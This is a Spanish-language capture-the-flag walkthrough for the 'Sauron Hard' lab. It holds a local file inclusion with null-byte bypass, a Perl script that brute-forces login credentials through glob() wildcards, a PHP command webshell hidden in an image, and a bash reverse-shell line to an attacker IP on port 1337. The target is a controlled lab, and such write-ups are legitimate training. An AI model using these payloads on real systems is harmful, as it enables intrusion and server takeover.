Solucionario de SAURON Hard (Dificultad Alta), CTF Challenge por @killr00t

Page 1

SAURON HARD By @killr00t groupidp@gmail.com


Este entorno controlado es la continuación de la version normal de este entorno, por ende la solucion del nivel Hard es basado sobre este y me referire a algunos datos encontrados en esta version. Vamos a empez recogiendo información sobre el sistema objetivo.

RECOLECCION DE INFORMACIÓN : Todos sabemos y para los que no, este proceso es uno de los mas importantes ya que dependiendo de la informacion recolectada podemos tener éxito o no en el proceso de pentesting. Como es un entorno controlado no podemos hacer tareas habituales de recoleccion de informacion del tipo, redes sociales, google hacking , etc ya que estas téctnicas se centran en recoleccion de informacion en la nube y como es un sistema controlado tendremos que empezar desde un poco mas adelante, como lo es recoger banderas, identificar versiones de los servicios que estan corriendo, etc.. NMAP :


del anterior pantallazo nos fijamos en los puertos abiertos y en los posibles sistemas operativos que esta corriendo, recordemos que toda herramienta nos da un acercamiento al objetivo mas no nos da el 100% de exactitud, de las versiones y del sistema operativo. Con respecto a las banderas siempre tendremos que desconfiar de las versiones que vemos ya que un administrador bien puedo haberlas modificado para despitar asi que es un punto a tener en cuenta. Ahora, despues d ella informacion que nos dio NMAP nos centramos en el puerto 80 (http) 80/tcp open http Apache httpd 2.2.6 ((Fedora)) |_ html-title: Site doesn't have a title (text/html; charset=UTF-8). nos dice esta bandera que esta corriendo uns ervidor apache con su version 2.2.6 y que esta sobre un posible Fedora, entonces centraremos nuestros esfuerzos en este servicio. Abriendo la url del sistema objetivo encontramos con una pantalla en blanco, pero si vemos su codigo fuente podemos ver un archivo JS que se llama load.js este contiene lo siguiente document.location.href='web/0.html'; para los que no conocen JavaScript esto lo que hace es que redirecciona a otra pagina dentro del directorio web (generalmente) , ahora esto nos dice que va redireccionar a un archivo llamado 0.html dentro de un directorio llamado web, si indicamos en el navegador este directorio nos lista todo el contenido del directorio, en otras palabras no tiene un index el directorio y no esta configurado desde el servidor web que redireccione a otro archivo cuando el index no se encuentre .


miremos :

De esto ya tenemos mas directorios osea mas informaci贸n, como nos centramos en el servicio web lo que tenemos que identificar es como esta compuesto este arbol de directorios para asi empezar a evaluar posibles puntos de intrusion.


Unos de los directorios improtantes que se buscan en website es el el de administrador, donde se administra todo el website, asi que a utilizar nuestra imaginacion imaginando posibles nombres de directorios (admin , weblogin , webpanel , adminpanel lo que se nos ocurra), en la version anterior del sauron en el servidor apache por un mal filtrado de metodos se podia ver algunos directorios resringidos, no detallare como era el problema, para el que le quede la inquietud lo pruebe en la version normal del sauron. Dentro de los directorios importantes se encontro uno en especial que se llama _controlp el cual se encontraba en el directorio raiz, para encontrar este directorio tambien se pudo haber hecho por medio de fuerza bruta con un diccionario.

Ya identificado este directorio nos topamos con el login al sistema y sera nuestro punto de intrusion. Los logins generalmente validan usuario y claves en una base de datos, hay otros que validan en archivos de configuraci贸n con datos estaticos, para saber todo esto se tiene que analizar el funcionamiento del login, podemos basarnos en herramientas pero como decia, estas nos dan acercamientos osea falsos positivos, asi que nos centraremos en la evaluaci贸n manual.


1. Formulario de login

analizando el login tenemos que esta compuesto de la siguiente forma <form id="form1" method="get" action="./login.php"> <table cellpadding="10" align="center"> <tr> <td rowspan="2"> </td> <td align="right"><label for="user">Nombre de usuario:</label></td> <td><input name="login" id="user" size="15" maxlength="25" value="" tabindex="1" /> </td> </tr> <tr> <td style="text-align:right;"><label for="password">Contraseña:</label></td> <td><input name="password" id="password" type="password" size="15" maxlength="30" tabindex="2" /> </td> </tr> <tr> <td colspan="2" style="font-size: 10px;"><label for="label"> <div align="right"><span class="Estilo1">Template</span>: </div> </label></td> <td style="font-size: 10px;"><label> <select name="select"> <option value="grey">standard</option> <option value="blue">oceanic</option> <option value="red">fire</option> </select> </label></td> </tr> <tr> <td colspan="4" style="text-align:center;"><input name="submit" type="submit" tabindex="4" value="Entrar" /> </td> </tr> </table> </form>


dentro de este codigo tenemos que se envian a un archivo que valida el login llamado login.php y tenemos las variables select, password, login ahora viendo los datos enviados en las cabeceras tenemos http://192.168.200.2/_controlp/login.php?login=test&password=test&select=grey&submit=Entrar GET /_controlp/login.php?login=test&password=test&select=grey&submit=Entrar HTTP/1.1 Host: 192.168.200.2 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://192.168.200.2/_controlp/index.php HTTP/1.1 200 OK Date: Mon, 30 Jul 2012 15:36:33 GMT Server: Apache/2.2.6 (Fedora) X-Powered-By: PHP/5.1.6 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8

como vemos se envia por el metodo GET las variables que ya habiamos identificado, adicionalmente tenemos una variable mas que se llama submit con el parametro Entrar , al enviarse la informaci贸n por GET podemos ver los datos enviados directamente en la url, haciendo que podamos modificar los datos directamente en ella. Ahora lo que hay que realizar es mirar que variables posiblemente no esten filtradas posibilitando saltarnos la validaci贸n, la forma de validar es enviar datos que el aplicativo no espere haciendo que en algun momento nos muestre algun error u otra informacion que nos ayude a entender el funcionamiento o nos diga alguna vulnerabilidad conocida(lfi, sqli etc). Los datos de login osea usuario y clave al probar caracteres tipo comillas simples etc, no nos muestran ningun error ni informacion que nos diga que es vulnerable algun tipo de injecci贸n, ahora bien probando en la variables select nos encotramos con lo siguiente http://192.168.200.2/_controlp/login.php? login=admin'&password=admin&select=grey'&submit=Entrar


efectivamente la variable select no esta filtrando los datos que esta recibiendo por GET y segĂşn el error que nos muestra se trata de un LFI (local file include) la cual nos permite incluir archivos locales, en la version normal de este entorno nos encontramos con el mismo error pero la diferencia es que en la version normal nos permitia incluir archivos de otros directorios, en este caso esta mas limitado y lo que nos queda es analizar el codigo anterior y el codigo actual para saber como actuar al tratar de incluir el archivo index.php no muestra http://192.168.200.2/_controlp/login.php? login=admin&password=admin&select=index.php&submit=Entrar Warning: include(./index.php.inc) [function.include]: failed to open stream: No such file or directory in /var/www/blindware/htdocs/_controlp/login.php on line 14 lo que esta sucediendo es que a lo que incluyamos le esta concatenando el .inc, osea si ponemos lola.php el aplicativo buscara lola.php.inc para saltarnos esto utilizamos algo que se llama Null-byte que consite en colocar %00 al final del archivo para que .inc no sea colocado en la version normal del sauron nos permitia incluir el archivo login.php permitiendo ver el codigo fuente del mismo y asi analizar la logica del programador, pero en esta version no se nos permite incluir ni el index.php ni el login.php, asi que me basare en una parte del codigo fuente para analizar si aun continua con el mismo sistema de login, el codigo de validacion es el siguiente. if (isset($_GET["login"]) || isset($_GET["password"])) { $dir = glob($_GET["login"] . "_" . $_GET["password"]); if (!empty($dir)) { if ($dir[0] == $_GET["login"] . "_" . $_GET["password"]) { $pwd = $_GET["login"] . "_" . $_GET["password"]; $RPL_MYSQL = $pwd . "/myadmin/"; $RPL_SYSINFO = $pwd . "/phpsysinfo/"; $RPL_SETTINGS= $pwd . "/update/"; $RPL_STATS = $pwd . "/stats/"; include("./access.inc"); } else { include("./hacking.inc"); } } else { include("./access-failed.inc"); } }

como vemos la validacion de usuarios no se hace a una base de datos, en este caso la validacion la realiza sobre directorios


vemos esto: $dir = glob($_GET["login"] . "_" . $_GET["password"]); la definicion de la pagina de http://php.net es la siguiente La función glob() busca todos los nombres de ruta que coinciden con pattern según las reglas usadas por la función glob() de la biblioteca estándar de C, las cuales son similares a las reglas usadas por intérpretes de comandos comunes. En conclusion busca los directorios (rutas) que coincidan y en q debe coincidir ??, deben coincidir con lo que se ingrese en usuario y clave de la forma que lo estipula la variable $dir login_password si esto coincide según el codigo habilita el contenido con opciones $pwd = $_GET["login"] . "_" . $_GET["password"]; $RPL_MYSQL = $pwd . "/myadmin/"; $RPL_SYSINFO = $pwd . "/phpsysinfo/"; $RPL_SETTINGS= $pwd . "/update/"; $RPL_STATS = $pwd . "/stats/"; include("./access.inc"); ahora la forma de encontrar este directorio seria buscando primero el login y luego el password y como esta sobre glob() nos ayudaremos de esta funcion para que nos diga si encuentra o no alguna ruta valida. Para validar el login tendremos que colocar asterisco en el password y en el login ir aumentando los caracteres para asi haceer que la condicion del codigo quede caractereslogin_* recordemos que el asterisco en informatica y muchas cosas que utilizamos nos sirve como un comodin, por ejemplo en la busqueda de windows para encontrar todas las extenciones pdf buscariamos *.pdf esto listaria todos los pdf que existan en donde estamos buscando, asi mismo funciona glob() de php enotnces seria ir mirando en donde nos muestra algun error o diferencia para saber si encontro o no un dato valido. En la version normal de sauron nos mostraba un mensaje que nos podia diferenciar cuando encontraba algo y cuando no, en esta version es igual pero el mensaje que nos muestra es un poco mas escondido.


Esta es la diferencia: Login cuando no es valido el login o password o los dos:

login cuando encuentra alguna concordancia en el login o password

como vemos se diferencian en una unica cosa , y es en el string <!-– --> para automatizar este proceso de sacar usuario y clave se crea un script el cual es el siguiente, no esta depurado asi que va haber muchas redundancias para los que ya saben codear mas, el script es una adaptacion para la version normal del sauron, la muestra de datos es algo diferente pero es funcional para nuestro proposito.


#!/usr/bin/perl #by killr00t #Modulos use LWP::UserAgent; use HTTP::Request; #Code my $ua = new LWP::UserAgent; $ua->agent(" Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3"); $ua->timeout(1) || die "Conecction faield"; #$var1='user'; #$var2='pass'; print "[+]Procesando...\n"; for($i=1;$i <= 20;$i++){ $comodin='?'x$i; #$peticion="$rut?$var1=$comodin&$var2=*"; $rut ="http://192.168.200.2/_controlp/login.php?login=$comodin&password=*"; $lenLogin=getLongLogin($rut,$ua,$comodin); if($lenLogin!=0){ print "Login:",$lenLogin,"\n"; genCad($lenLogin); } } for($i=1;$i <= 20;$i++){ $comodin='?'x$i; #$peticion="$rut?$var1=$comodin&$var2=*"; $rut ="http://192.168.200.2/_controlp/login.php?login=*&password=$comodin"; $lenLogin=getLongLogin($rut,$ua,$comodin); if($lenLogin!=0){ print "Passwd: ",$lenLogin," \n"; genCadPa($lenLogin); } }

#Funcion GETLogin Para saber cual es el Login y Passwd sub getLongLogin { my $pagina = $_[0]; my $ua = $_[1];


my $value= $_[2]; my $busqueda = new HTTP::Request GET => $pagina; my $resultado = $ua->request($busqueda); my $result = $resultado->content(); $posicion=index($result,"<!-- -->"); if($posicion>0){ $long=length($value); return($long); } } #FUNCIONES PARA EL PASSWORD SE PUEDEN UTILIZAR LA OTRA PUES ES IGUAL PERO LO HAGO ASI PARA QUE MIREN QUE ES EL MISMO PROCESO sub genCadPa{ $longP= $_[0]; $alf = "abcdefghijklmnopqrstuvwxyz"; $valueP= "?:"x$long; @cadena=split(":",$valueP); $longAlfP=length($alf); for($r=0;$r <=$longP-1 ;$r++){ $logi=""; for($t=0;$t <=$longAlfP ;$t++){ $letrap = substr($alf,$t,1); $ant = @cadena[$r]; $login =''; @cadena[$r] = $letrap; # print "@cadena\n"; $pa=mandarCadenaPa(@cadena); if($pa=~1){ # print $letrap; $pas=$letrap; $datoPa="$datoPa$pas"; } # print "Search=>$datoPa\n"; @cadena[$r]=$ant; } } print "\nPass Encontrado=> ",$datoPa," \n";

} sub mandarCadenaPa{ my $ua = new LWP::UserAgent; $ua->agent(" Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3"); $ua->timeout(1) || die "Conecction faield";


@data=@_; $tot=$#data; $cf=""; for($p=0;$p <=$tot ;$p++){ $car=@data[$p]; $cf="$cf$car"; }#print $cf,"\n"; $ruta ="http://192.168.200.2/_controlp/login.php?login=*&password=$cf"; my $busqueda = new HTTP::Request GET => $ruta; my $resultado = $ua->request($busqueda); my $result = $resultado->content(); $posicion=index($result,"<!-- -->"); if($posicion>0){ return (1); } } ****************************FUNCIONES PARA LOGIN********************* #SUBRUTINA PARA LOS CARACTERE sub genCad{

$long= $_[0]; $alf = "abcdefghijklmnopqrstuvwxyz"; $value= "?:"x$long; @cadena=split(":",$value); $longAlf=length($alf); for($x=0;$x <=$long-1 ;$x++){ $logi=""; for($z=0;$z <=$longAlf ;$z++){ $letra = substr($alf,$z,1); $ant = @cadena[$x]; $login =''; @cadena[$x] = $letra; #print @cadena,"\n"; #ACA REALIZO LAS PETICIONES PARA SACAR EL LOGIN

$d=mandarCadenaLogin(@cadena); if($d=~1){ # print $letra; $login=$letra; $dato="$dato$login"; }


$lenLo=length($login); if($lenLo=~1){ last; } # print"Consiguiendo Login=> $dato\n"; @cadena[$x]=$ant; } } print "Login Encontrado=> ",$dato," \n"; } sub mandarCadenaLogin{ my $ua = new LWP::UserAgent; $ua->agent(" Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3"); $ua->timeout(1) || die "Conecction faield"; @data=@_; $tot=$#data; $cf=""; for($p=0;$p <=$tot ;$p++){ $car=@data[$p]; $cf="$cf$car"; }#print $cf,"\n"; $ruta ="http://192.168.200.2/_controlp/login.php?login=$cf&password=*"; my $busqueda = new HTTP::Request GET => $ruta; my $resultado = $ua->request($busqueda); my $result = $resultado->content(); $posicion=index($result,"<!-- -->"); if($posicion>0){ return (1); } } ----------------------------------------------------------------------------------------------------------------------------------------------

lo que hace es lo mismo que hace manual, espero que se entienda un poco y peus se animen a publicar versiones mas depuradas xD


corriendo el script nos da la siguiente informacion.

Nos encontro dos datos uno de longitud 11 que corresponde a administrat y otro con longitud 13 que corresponde a administrator y con passwords expired y givemeany , enotnces tenemos posibles usuarios y claves: administrat_expired administrator_givemeany administrat_givemeany administrator_expired al tratar de loguearnos nos funciona con los dos ultimos, el unico valido es administrat_givemeany administrat => login givemeany => password el otro valido existe pero esta deshabilitado, tal vez por eso el expired xD


ahora en este punto es tratar de identificar otros puntos que me permitan ejecutar comandos de sistema (uploads, otras vulnerabilidades, modificacion de contenido, etc) la unica opcion que nos permite modificar o alterar informacion es la opcion change settings


como vemos nos permite modificar los datos del login con un avatar o imagen esta imagen ya la habia modificado asi que por eso es que se muestra pero no es la que aparece inicialmente. Ahora por que modificamos la imagen???? tenemos dos posibilidades, la primera es que podamos alterar el envio de los datos del upload subiendo asi nuestra shell, y la segunda es aprobecharnos del LFI encontrado con anterioridad incluyendo la imagen haciendo que se muestre el contenido de la imagen, entonces lo que aremos es en una imagen peque単a agregarle al final una shell peque単a codeada en php, el ejemplo lo realizare con este codigo <?php sytem($_REQUEST['cmd']) ?> lo que hace esto es que al pasarle el parametro cmd a la imagen incluida nos ejecuta el comando que pasemos por medio de esta variable, pero primero para esto tenemos que conocer la ruta de la imagen para poderla incluir, en la version normal de sauron podiamos ver la ruta de la imagen pero en este caso la imagen es mostrada por medio de un php

como vemos no nos muestra la ruta de la imagen, nos muestra es el archivo que la muestra, para ver como se llama esta imagen tendremos que ver las cabeceras de la peticion a este archivo image.php


yo lo realizare con wget ya ustedes prueben otros metodos xD

como vemos se utiliza wget -S para que nos muestre las cabeceras y como podemos ver hay un attachment con el nombre de la imagen localuser.png ya obtenido el nombre de la imagen ahora creamos la shell de la siguiente forma.

ahora solo queda incluirla desde la url para que ejecute el comando que pusimos en la funcion system()


como vemos nos ejecuto el ls que le indicamos ahora se hace el mismo procedimiento pero ahora se le pone un codigo de una webshell mas estructurada por decirlo asi xD

ya tenemos una shell mejor y como ami no me gusta lidear con las webshells, creo el siguiente archivo bash /bin/bash -i > /dev/tcp/192.168.64.105/1337 0<&1 2>&1 esto lo que nos hace es que nos crea una shell inversa en este caso a la ip 192.168.64.105 que es mi equipo atacante xD, subimos el archibo en bash y le damos permisos de ejecucion chmod +x shellinversa.sh ponemos nuestro netcat a la escucha en el puerto indicado en este caso en el 1337 y ejecutamos el archivo en bash que subimos desde la webshell ./shellinversa.sh

si todo lo hicimos correctamente debemos tener a nuestra disposicion la shell con el usuario que se esta ejecutando el aplicativo web


en este caso seria el usuario blindware

apartir de aca, seria elevar privilegios a root, esto puede ser con un exploit local del sistema o recogiendo informacion de posibles malas configuraciones del sistema operativo o de los servicios corriendo etc.... como no tengo mucha experiencia de esta forma y por mucho tiempo que intente hacerlo de este modo , lo realizo con el exploit :( kernel =>


buscamos nuestro exploit, compilamos, subimos y ejecutamos

damos permisos y ejecutamos

listo obtenido root , espero que todo haya sido claro, perdon por la orrografia que pueda tener o cualquier otro error. Saludos y cualquier inquietud me escriben Bytez


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.